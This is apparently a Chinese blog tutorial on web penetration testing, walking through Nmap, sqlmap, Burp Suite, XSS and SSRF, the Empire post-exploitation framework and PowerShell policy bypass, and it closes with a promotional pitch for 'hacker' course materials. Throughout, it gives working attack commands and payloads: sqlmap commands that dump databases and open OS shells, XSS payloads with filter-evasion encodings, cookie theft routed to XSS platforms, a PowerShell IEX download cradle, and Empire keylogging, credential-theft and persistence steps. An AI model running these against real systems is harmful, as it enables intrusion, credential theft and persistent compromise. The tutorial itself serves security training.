web安全攻防渗透测试实战指南_web安全攻防渗透测试实战指南,零基础入门到精通,收藏这一篇就够了
1. Nmap的基本
Nmap + ip 6+ ip
Nmap -A 开启操作系统识别和版本识别功能
– T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现
-v 显示信息的级别,-vv显示更详细的信息
192.168.1.1/24 扫描C段 192.168.11 -254 =上
nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中)
--------------- 192.168.1.1/24 --exclude 192.168.1.100 (排除在外的目标 .100)--------------- -----------------excludefile ~/targets.txtnmap 192.168.1.1 -p 80.443 网站 是否在这个端口部署网站nmap –traceroute 192.168.1.1 探测路由nmap -O 192.168.1.1 对目标进行指纹识别nmap -sV ---------- 对版本进行探测nmap -sF -T4 192.168.1.1 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 后者 fileter状态。 (利用三次握手,可以绕开防火墙)nmap –script=auth+ip 处理鉴权证书的脚本,也可以作为检测部分应用弱口令-----------=brute+ip 暴力破解扫描脚本介绍:
位置 : nmap安装目录/scripts/ 例如/usr/share/nmap/scripts
脚本类型:
ll /usr/share/nmap/scripts | grep ^- | wc -l
使用介绍:
nmap --script=auth 192.168.137.*
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=brute 192.168.137.*
提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap --script=default 192.168.137.* 或者 nmap -sC 192.168.137.*
默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。
nmap --script=vuln 192.168.137.*
检查是否存在常见漏洞
nmap -n -p445 --script=broadcast 192.168.137.4
在局域网内探查更多服务开启状况
zenmap
Nmap 的图形化界面:

2.SQLmap 简介
是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。
支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
(1) 安装sqlmap前,需要先安装Python3.X
https://www.python.org/downloads/windows/
(2) 在环境变量path中,增加python3.x 安装路径
(3) 下载sqlmap并解压缩:
地址:https://sqlmap.org/
Python sqlmap.py -u http://xxx.xxx.xxx/
Python sqlmap.py –help 查看帮助 borp
sqlmap支持五种不同的注入模式:
UNION query SQL injection(可联合查询注入)
uError-based SQL injection(报错型注入)
uBoolean-based blind SQL injection(布尔型注入)
uTime-based blind SQL injection(基于时间延迟注入)
uStacked queries SQL injection(可多语句查询注入)
2.sqlmap 常用命令参数
-u /–url 最基本格式 sqlmap -u “XXXXXXXXXXXXX/index.pho?id=1”
-m 从文本中获取多个目标扫描,但是每一个一个url. sqlmap -m urllist.txt
-r 从文件中加载HTTP请求,这样的话就不需要再去设定cookie,POST数据….
–dbs 返回当前连接的数据库
–current-db 返回当前网站数据库的数据库用户
-D 指定数据库系统的数据库名
–tables 列举数据库表
-T 指定数据库表名
–columns 列举数据库表中的字段
-C 指定数据库表中的字段名
–dump 获取整个表的数据
3.设置回显等级
参数: -v默认为1
0 只显示python错误以及严重的信息
1 基本信息和警告信息
2 debug信息
3 注入的payload
(级别越高显示信息越多)
4同时显示HTTP请求。
5同时显示HTTP响应头。
6同事显示HTTP响应页面。
–data 把数以post方式提交,sqlmap会像检测GET参数一样检测POST过去的参数。
–cookie (用于区分用户)
可能会有漏洞,当web登录时,抓取数据包。
4.设置HTTP数据包相关参数
HTTP User-Agent 头
参数:–random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。
sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs
sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞
5.设定探测等级:–level
共有五个等级 默认为1 sqlmap使用的payload可以在xml/payloads.xml中看到
–users 列数据库管理用户
–current-user 在数据库中,目前连接的用户
–is-dba 判断当前是否为管理,是的话返回true
–proxy 指定一个代理服务器 eg: -proxy http://xxxxxx.8080
–os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限
6.Sqlmap“六步”
第一步:判断是否注是注入点
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)”
检测该网站是否存在漏洞 白色加粗字体为注入点 也就是攻击对象

第二步:获取数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” –dbs

第三步:查看当前应用程序所用数据库
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --current-db

四:列出指定数据库的所有表
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security(目标数据库)”—tables

五:读取指定表中的字段名称
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users –colunms

六:读取指定字段内容
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” -D”security”-T users -C username,password –dump(dump=下载,脱库)
判断当前数据库用户权限:
sqlmap.py -u “http://localhost/sqlilabs/Less-1/?id=1(目标链接)” --is-dba
如果是TRUE ,那么权限该用户很大。

-roles 列出数据库管理员角色
如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --roles

-referer HTTPReferer头
当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如–referer https://mp.mysite.net
-sql-shell 运行自定义的sql语句
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --sql-shell
运行任意操作系统命令:
选择后台语言
sqlmap -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --os-cmd=whoami

–os-cmd=whoami
–os-shell
(以你的电脑为跳板,对局域网进行渗透,或留后门)
–file-read 从数据库服务器中读取文件 :当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。
上传文件到数据库服务器中:
–file-write
–file-dest
读取指定数据库用户的密码
sqlmap -u “http://xxxxx/fuzz/index.php?id=1” --passwords -U root

SQLMAP进阶 常用tamper脚本
apostrophemask.py 将引号替换为utf-8,用于过滤单引号 (易容术)
适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper(“1 AND ‘1’='1”)
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
multiplespaces.py 围绕sql关键字添加多个空格 去绕过
适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper(‘1 UNION SELECT foobar’)
使用脚本后:1 UNION SELECT foobar
3. Burp Suite工具
一.配置及代理设置
1.使用前配置
①选择代理Proxy选项卡
②选择设置option选项卡
③Edit Running打勾 124.0.0.1:8080
配置成功
历史访问

二.功能模块讲解
模块介绍
send to spider 发送给爬虫模块
do a active scan 进行一次主动扫描
send to intruder 发送给爆破模块
send to repearter 发送给重放模块
send to comparer 发送给比对模块
send to decoder 发送给解码模块
request in browser 将请求在浏览器重放
四:MYSQL与SQL注入
mysql知识点- 基本查询语句
查询表中全部信息: select *from 表明-关键的函数
select+以下语句
version() 数据库版本database() 数据库名user() 用户名current\_user() 当前用户名system\_user() 系统用户名@@datadir 数据库路径@@version\_compile\_os 操作系统版本
-order by(排序) 语法
-联合查询
order by 1—
order by 2—确定字段数
使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询结果之后。第二次查询能够从另外一个完全不同的数据库表中提取数据
注意: 相同的列结构
需要有知道表结构,列结构exists()函数猜解表明information\_schema 是一个mysql系统自带的元数据库
information_schema.SCHEMATA 查看所有的数据库
五、 XSS基础
1、什么是XSS?
中文名为跨站脚本攻击,跨站脚本,(Cross-Site Scripting, XSS),当目标网站用户在渲染HTML文档的过程中,出现非预期的脚本指令并执行时,XSS就发生了。
2、攻击者给予应用恶意XSS代码,导致用户访问应用或服务器时执行代码,导致被XSS攻击。
攻击者→服务器→用户(xss是一种迫使Web站点回显可执行代码的攻击技术,而这些可执行代码由攻击者提供、最终为用户浏览器加载)
3、XSS的危害: 1.网络钓鱼,包括盗取各类用户的账号
2.窃取用户cookies资料,从而获取用户信息。3.获取客户端信息,IP/端口等4.劫持用户浏览器会话,从而执行任意操作5.强制弹出窗口。6.网页挂马,进行恶意操作7.进行大量的客户端攻击 如DDoS攻击8.控制受害者机器向其他客户端攻击
4、XSS分类
①反射型 :非持久型,调取用户cookie或者进行钓鱼,常常为通过引诱用户点击一个恶意链接来实施攻击。
(特点:
① 主要用于将恶意脚本附加到URL地址的参数中
② 只在用户单击url时触发,而且只执行一次,非持久化
③常用来窃取客户端 Cookies
或进行钓鱼欺骗.
④常常为通过引诱用户点击一
个恶意链接来实施攻击的)
name为可控参数

我们可以通过执行恶意代码弹窗,那么也能做些对我们有利的事情。
当我们构造好了如下恶意代码,发送给受害者。
将会弹出用户的cookie值,我们构造js代码,将该cookie值发送至我们自己的服务器,或者用XSS平台接收该cookie(例如https://xsshs.cn/),我们就能通过该cookie非法登录受害者的账户。

②存储型 :渗透 挂马 蠕虫病毒 出现在网站的留言、评论、日志等交互处,被存储在数据库或者客户端中,等再次浏览时受到攻击。
(特点:① 恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性
② 比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全.③ 一般出现在网站的留言、评论、日志等交互处,)
页面原理:
POST提交数据,生成、读取文本模拟数据库,
提交数据之后页面会将数据写入sql.txt,
再打开页面时会读取sql.txt中内容并显示在网页上,
实现了存储型xss攻击模拟。
当输入恶意代码,即会执行
并且恶意代码会一直存储在服务器,每当有用户访问该页面,即会触发恶意代码

利用XSS弹出恶意警告框
网页不停刷新
http://192.168.127.1/ctfteach/demo/xss/reflect_xss.php?name=
获得cookie
劫持流量(跳转到你的博客强行吸粉)
③dom型: 将XSS代码嵌入dom文档(每一个网页),通过JS脚本对文档对象进行编辑从而修改页面元素,增加漏洞。
xss平台
1.获取COOKIE(这是必须的最基本的功能)
2.获取源码(取当前网页的源码)
3.截图(可自己修改为连续截图)
4.……………
https://xss.pt
https://xssaq.com
XSS利用——无任何过滤
alert(1);
<img src=1 οnerrοr=alert(“xss”);> //onerror等事件,可以调用js
<input οnfοcus=“alert(‘xss’);” autofocus>
<svg οnlοad=alert(“xss”);>
XXS绕过:
关键字绕过
空格绕过
用/代替空格 <img/src=“x”/οnerrοr=alert(“xss”);>
关键字绕过
大小写绕过
利用其他标签
双写关键字 <imimgg srsrcc=x οnerrοr=alert(“xss”);>
字符拼接 <img src=“x” οnerrοr=“a=`aler`;b=`t`;c=‘(`xss`);’;eval(a+b+c)”>
利用函数进行编码绕过
Unicode绕过
<img src=“x” οnerrοr=“eval(‘\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b’)”> 利用函数进行编码绕过
ASCII码
<img src=“x” οnerrοr=“eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))”>
Hex绕过
<img src=x οnerrοr=eval(‘\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29’)>
Base64编码
<img src=“x” οnerrοr=“eval(atob(‘YWxlcnQoJ3hzcycp’))”>
过滤括号 当括号被过滤的时候可以使用throw来绕过
混淆:
利用html标签格式的不严格、容错性。
关键字中加空格
加TAB
回车
url编码
<img src=“x” οnerrοr=“eval(unescape(‘%61%6c%65%72%74%28%22%78%73%73%22%29%3b’))”>
六.Cref漏洞
1,漏洞介绍: 一种对网站的恶意使用。与 xss相比不大流行(因此对其防范相当稀少,比xss更加具有危险性。
原理:利用目标用户身份,以目标用户名义执行非法操作(以目标用户名义发邮件,消息,盗取目标账号,购买商品,虚拟货币转账等),会泄露目标用户的财产安全。
Ps:(CSRF漏洞经常用来制作蠕虫攻击,刷SEO流量)
靶场实战:漏洞分析:

Ssrf漏洞:是一种由攻击者构造请求,由服务器发起请求的安全漏洞。与csrf最大的区别是一个是服务器,一个是由客户端发起的。
在域名后增加url=语句,从而利用ssrf漏洞篡改脚本访问的地址。
攻击方式如下:
A,对外网,服务器所在的内网,本地进行端口扫描,获取的banner信息。
B,攻击运行在内网或本地的应用程序。
C,对内网web应用进行指纹识别,识别企业内部的资产信息。
D.攻击内外网的web应用,主要是用HTTP请求就可以实现的攻击(比如struts2,sqli
等等)
E,利用file协议读取本地文件。
SSRF漏洞利用:
测试地址:http://127.0.0.1.1/ssrf.php?Url=http:127.0.0.7/2.php
页面ssrf.php实现的功能获取GET参数URL,然后将url的内容返回网页上。
如果将请求的网址篡改为http://www.baidu.com,则会显示http://www.baidu.com的网页内容,但是,当设置参数URL为内网地址时,则会泄露内网信息。
访问ssrf.php?Url=file://C:/wwindows/win.ini即可读取本地文件。
Ssrf漏洞修复建议:
,限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求。
限制不能访问的内网ip,以防止对内网进行攻击。
屏蔽返回的详细信息。
七,Empire
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,使用能够躲避内网检测和大部分安全防护工具的查杀,简单来说就有点类似Metasploit,是一个基于PowerShell的远程控制木马。
Empire运行在linux平台上
官方下载地址,不过很久没有更新,需要Python 2.6/2.7环境
https://github.com/EmpireProject/Empire
KALI示例:
git clone https://github.com/EmpireProject/Empire.git
然后安装Empire的依赖,命令如下
cd Empire
cd setup
pip install -r requirements.txt(若没有安装pip库,则需要先通过apt-get install pip进行安装)
./install.sh
在安装完依赖以后,返回上一级文件,启动Empire工具,命令如下:
cd …
./empire
若启动失败,则可能是因为依赖未完全安装好,只需要手动通过pip install xxx安装未安装好的依赖即可。
启动时如果遇到如下报错
可以将urllib3版本降级
pip install urllib3==1.22
重新设定
bash reset.sh
基本使用会涉及如下内容:
1.帮助文档
2.设置监听
3.生成木马
4.连接主机和基本使用
5.信息收集
6.权限提升
帮助文档
运行Empire后,输入help命令查看具体的使用帮助。
设置监听步骤如下:
listeners #进入监听线程界面
uselistener #设置监听模式
info #查看具体参数设置
set #设置相应参数
execute #开始监听
输入Listeners命令进入监听界面,按TAB键可以补全命令,按两次TAB键或者help可以显示可以利用的模块
输入uselistener来设置采用何种监听模式,双击TAB可以看到有以下可以使用的模式。

设置监听
这里采用http监听模式,输入uselistener http。
然后输入info命令查看具体参数设置。其中Require为True的值都需要被设置。
通过set配置参数,并提供execeute执行,需要注意的是Empire不同于Metasploit,Empire命令是区分大小写的

通过back返回上一级,使用listeners或者list可以查看所设置的监听器

生成木马
输入usestager后 空格加TAB键 查看可以设置的木马模式

木马就类似Metasploit中的payload,其中multi为通用模块,osx是Mac操作系统的模块,剩下的是Windows的模块。
我们以 windows/launcher_bat为例,给大家说下过程,其他的使用都类似
要使用launcher_bat,首先输入usestager windows/launcher_bat,然后输入info命令查看详细参数
通过set配置参数,我们需要设置一个 Listener 参数,即监听的名字(前面我们给监听起得一个名字test1),通过execeute执行,
文件会生成到 tmp 目录下,如下所示在目标主机上运行生成的launcher.bat,输入 agents 可以查看已经获得的会话
我们再介绍另一种生成木马方式:launcher
如果只需要简单的powershell 代码,在设置完相应的参数后,可直接在监听器(listeners)中输入命令 launcher 生成base64编码的代码
然后复制生成的payload 在目标机器上执行
可以看到有会话生成,输入 agents 可以查看已经获得的会话
连接主机和基本使用
在目标主机反弹成功以后,可以通过agents命令列出当前已连接的主机,这里要注意如果有带有(*)的是已提权成功的主机。
然后使用interact命令连接主机,可以使用Tab键补全主机的名称,连接成功以后可以通过rename修改会话名称
可以通过help查看可以使用的命令
输入help agentcmds可以查看可供使用的常用命令输入help agentcmds可以查看可供使用的常用命令可以通过pwd查看当前目录
upload可以上传文件,通过cat查看文件内容
使用某些CMD命令时,要使用“shell+命令的形式” ,如下

Empire主要用于后渗透。所以信息收集是比较常用的一个模块,可以使用searchmodule命
令搜索需要使用的模块,这里通过键如usemodule collection然后按Tab查看完整的列表

1.屏幕截图
输入以下命令,然后执行即可
2.键盘记录
输入以下命令usemodule collection/keylogger,通过info可以查看详细信息,execute执行
可以通过jobs kill JOB\_name停止键盘记录
3.ARP扫描
Empire也内置了ARP扫描模块,输入以下命令即可使用该模块,这里要设置Range参数
4.查找域管登陆服务器IP
在内网渗透中,要想拿到内网中某台机器的域管权限,方法之一就是找到域管登录的机器,然后横向渗透进去,窃取域管权限,从而拿下整个域,以下这个模块就是用来查找域管登录的机器的。
使用模块usemodule situational_awareness/network/powerview/user_hunter
权限提升
提权,顾名思义就是提高自己在服务器中的权限,就比如在Windows中,你本身登陆的用户是Guest,通过提权后,就会变成超级管理员,拥有了管理Windows的所有权限。以下是常见几种提权方式:
1.Bypass UAC
UAC介绍
UAC(UserAccount Control,用户账户控制)简言之就是在Vista及更高版本中通过弹框进一步让用户确认是否授权当前可执行文件来达到阻止恶意程序的目的。

为了远程执行目标的exe或者bat可执行文件绕过此安全机制,以此叫BypassUAC(不进行弹窗直接运行执行文件)
输入以下命令,设置Listener参数,运行execute,会发现成功上线了一个新的反弹
返回agents,通过list可以看到有一个新的会话,并且带有*,说明提权成功。
2.PowerUp
Empire内置了PowerUp的部分工具,用于系统提权,主要有Windows错误系统配置漏洞、Windows Services漏洞、AlwaysInstallElevated漏洞等8种提权方式,输入以下命令,然后通过tab键查看完整列表
查找系统中的漏洞,和PowerSploit下PowerUp中的Invoke-AllChecks模块一样,该模块可以执行所有脚本检查系统漏洞
我们可以通过BypassUAC进行提权
3.通过溢出漏洞
本地溢出提权首先要有服务器的一个普通用户权限,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出Administrator权限。
这里我们使用ms16-032来提权,输入以下命令即可通过溢出漏洞进行提横向渗透,就是在已经攻占部分内网主机的前提下,利用既有的资源尝试获取更多的凭据、更高的权限,进而达到控制整个内网、拥有最高权限、发动类似 APT 的目的。
在横向渗透中,最先得到的主机,以及之后新得到的主机,会成为突破口、跳板。如同一个不断扩大的圆形,获得的主机越多,圆能触及之处越大,让其周遭的「横向」部分由未知成为已知。
1.令牌窃取
我们在获取到服务器权限后,可以使用内置mimikatz获取系统密码,执行完毕后输入creds命令查看Empire列举的密码。如下图所示
从这里发现有域用户曾在此服务器上登录,此时可以窃取域用户身份,然后进行横向移动
首先先来窃取身份,使用命令pth,这里的ID号就是creds下的CredID号,我们这里来窃取administrator的身份令牌,执行pth 7命令
使用steal_token PID命令就窃取了该身份令牌了,如下图所示。
我们先尝试访问域内另一台主机WIN7-X86的“C$”,顺利访问,如下图所示。
输入revtoself命令可以将令牌权限恢复到原来的状态
2.会话注入
我们也可以使用usemodule management/psinject模块来进程注入,获取权限,输入info查看参数设置,如下图所示。
设置下Listeners和ProcID这2个参数,这里的ProcID还是之前的CMD的1380,运行后反弹回一个域用户权限shell。
3.Invoke-PsExec
PsExec是我在Metasploit下经常使用的模块,还有pstools工具包当中也有psexec,缺点是该工具基本杀毒软件都能检测到,并会留下日志,而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。
使用该模块的前提是我们已经获得本地管理员权限,甚至域管理员账户,然后以此来进一步持续渗透整个内网。
我们测试该模块前看下当前agents,只有一个IP为192.168.31.251,机器名为WIN7-64的服务器,如下图所示。
现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86,输入info查看设置参数,如下图所示。
这里要设置下机器名和监听,输入下列命令,反弹成功
输入agents命令查看当前agents,多了一个IP为192.168.31.158,机器名为WIN7-X86的服务器
攻击者在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者如入无人之境。服务器重启后,我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。
1.权限持久性劫持shift后门
shitf后门,其实就是使用了windows系统的粘滞键功能,当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序,然后通过按5次就来启动后门。
输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块,可以输入info查看参数,set设置相关参数
运行后,在目标主机远程登录窗口按5次shift即可触发后门,有一个黑框一闪而过,如下图所示
这时看我们的Empire已经有反弹代理上线
2.注册表注入后门
使用usemodule persistence/userland/registry模块,运行后会在目标主机启动项添加一个命令,可以输入info查看信息
按如下命令设置其中几个参数,如下图所示。
重启目标主机,用户登录系统后,会有反弹会话生成
在实际渗透中,当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时,可以使用PowerShell来绕过,也可以执行Empire的Payload来绕过,成功之后再用Empire的模块将其反弹回Metasploit。
首先在Metasploit我们使用multi/script/web_delivery模块,输入如下命令
使用usemodule code_execution/invoke_metasploitpayload模块,输入info看下参数,如下图所示
这里我们只需修改1个参数URL,
修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y
按下列命令设置完毕,然后执行
Metasploit收到Empire反弹回来的shell,如下图所示。
文件上传漏洞概述:在现代互联网的我web应用程序中,上传文件是一种常见的功能,上传文件的时候如果服务器脚本语言对上传的文件进行严格的过滤就有可能上传恶意文件,从而控制整个网站,甚至是服务器。
存在原因:传文件时,如果服务器代码,对客户端上传的文件进行验证和过滤,就容易造成可以上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp等格式的文件)
危害:非法用户可以利用上传的恶意脚本文件控制整个网站,。甚至控制服务器,这个恶意文件又称webS核力量,也可将脚本称为一种网页后门,WebShell叫阿奔具有强大功能,比如查看服务器中的文件,执行系统命令。
2,常见的上传检测规则:
A,服务器MIME类型检测Content-type内容
B,客户端JavaScript检测 检测文件扩展名
C,服务器目录路经检测path参数
D,服务器文件名拓展名检测estension内容
E,服务器文件内容检测(是否合法或含有恶意代码)
暴力破解漏洞产生与介绍:
产生:由于服务器端没有做限制,导致攻击者可通过暴力的手段破解所需信息(用户名,密码,验证码)
酔 0
介绍:“需要一个大的字典,如4位数字的验证码,暴力破解关键在于字典的大小,常见用于爆破弱口令。
逻辑漏洞:
就是指攻击者鲤鱼精业务的设计缺陷,获取敏感信息或破坏业务的完整性,
越权访问:水平和垂直越权 。
越权访问攻击测试链接:http://172.16.200.12/yuequan/test2/admin/viewpassword.
WAF:(web应用防火墙)是通过执行一系列对HTTP/HTTPS的安全策略来专门为web应用提供保护。
WAF类型: 软件型(直接检测服务器上是否存在WEBshell)
硬件型(支持多种部署,在旁听监听模式时只记录攻击不进行拦截)
云waf(一般以反向代理的形式工作,通过配置NS记录干活CNAME记录,是对网站的请求优先经过WAF主机,经过WAF过滤后,将认为无害的请求报文在传输给实际网站服务器进行请求)
网站系统内置WAF(在网站内内置的过滤,直接镶嵌在代码里,自由度比较高,有以下四种:①输入参数强制类型转换②输入参数合法性检测③关键函数执行,对经过代码流程的输入进行检测④对输入的数据进行替换过后再继续执行代码执行流程)网站系统内置的WAF与业务更加切合,在对安全与业务都比较了解的情况下,可更
少的收到误报与漏报。
WAF判断 方法:①SQLMap 输入sqlmap.py -u “http://xxx.com” --identify-waf --batch 便可找到waf类型
②直接在相对应网站的url后加最基础的测试语句并放在一个不存在的参数名中。
绕过waf的方法:1,大小写混合
2url编码
3,替换关键字
4,使用注释
5,多参数请求拆分
6,HTTP参数污染
7,生僻函数
8,寻找网站原站IP
9,注入参数到cookies中
Meteasploit技术:
在使用Kali操作系统是应注意即使更新源,就像平时及时更新手机APP更新命令如下:
A,apt-get update:只更新软件包的索引源,作用:同步源的软件包的索引信息,从而进行软件更新。
B,Apt-get upgrade:升级系统上安装的所有软件包,如果失败则保持更新之前的状态。
Apt-get dist-upgrade:升级整个Liunux系统(不仅升级所有已安装的软件包,而且会处理升级过程中可能出现的冲突,在某些情况下,他的部分升级需要人工参与)。
渗透攻击大致步骤:
*扫描目标及系统,寻找可用漏洞。
*选择并配置一个漏洞利用模块。
*选择并配置一个攻击利用模块。
*选择一个编码技术,用来绕过杀毒软件的查杀。
*渗透攻击。
Powershell
是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。
对于渗透,使用PowerShell场景:
第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器,可以通过钓鱼等方式直接执行命令
第二种我们已经到了对方网络,或是一台DMZ的win机器,那么我们利用PowerShell对内网继续深入
基于.NET框架
操作系统信任
提供win系列操作系统的几乎一切访问权限
win7之后默认安装
脚本可以运行在内存中,不需要写入磁盘
cmd.exe通常会被安全软件阻止,一般PowerShell不会
常用攻击工具:
可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。
一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。
执行策略:
为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。
我们可以使用: Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。
Restricted:脚本不能运行(默认设置)
RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)
AllSigned:仅当脚本由受信任的发布者签名时才能运行;
Unrestricted:允许所有的脚本执行
另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行
运行脚本:
运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1
但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样。
管道:
管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接
例如:
假设停止所有目前运行中的,以“note"字符开头命名的程序
Get-Process note*|stop-process
基本知识:
在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。
后面会以文件操作为例讲解PowerShell命令的基本用法
如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted
在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式
1.绕过本地权限执行
2.本地隐藏绕过权限执行脚本
3.用IEX下载远程PS1脚本绕过权限执行
如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted
在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式
1.绕过本地权限执行
2.本地隐藏绕过权限执行脚本
3.用IEX下载远程PS1脚本绕过权限执行
上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本
powershell -exec bypass .\test.ps1
powershell.exe -exec bypass -W hidden -nop test.ps1
输入命令执行后会退出命令提示符
powershell -c IEX (New-Object System.Net.Webclient).DownloadString(‘http://192.168.10.11/test.ps1’)
对上述命令参数进行说明
ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;
WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;
-command(-c):执行powershell脚本;
NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;
NoLogo:启动不显示版权标志的PowerShell;
Nonlnteractive(-noni):非交互模式;
Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,### 如果你对网络安全入门感兴趣,那么你扫这里
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
👉网安(嘿客)全套学习视频👈
我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。
👉网安(嘿客红蓝对抗)所有方向的学习路线****👈
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
学习资料工具包
压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。
面试题资料
独家渠道收集京东、360、天融信等公司测试题!进大厂指日可待!
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。
这份完整版的网络安全(嘿客)全套学习资料已经上传至CSDN官方,朋友们如果需要点击下方链接也可扫描下方微信二v码获取网络工程师全套资料【保证100%免费】
相关文章:

web安全攻防渗透测试实战指南_web安全攻防渗透测试实战指南,零基础入门到精通,收藏这一篇就够了
1. Nmap的基本 Nmap ip 6 ip Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别,-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 上 nmap -A -T4 -v -i…...

大模型如何赋能智慧城市新发展?
国家数据局近期发布的《数字中国发展报告(2023)》显示,我国数据要素市场化改革步伐进一步加快,数字经济规模持续壮大,数字技术应用场景不断拓展。这一成就的背后是数字技术广泛应用,数字技术不仅影响着老百…...

随记——机器学习
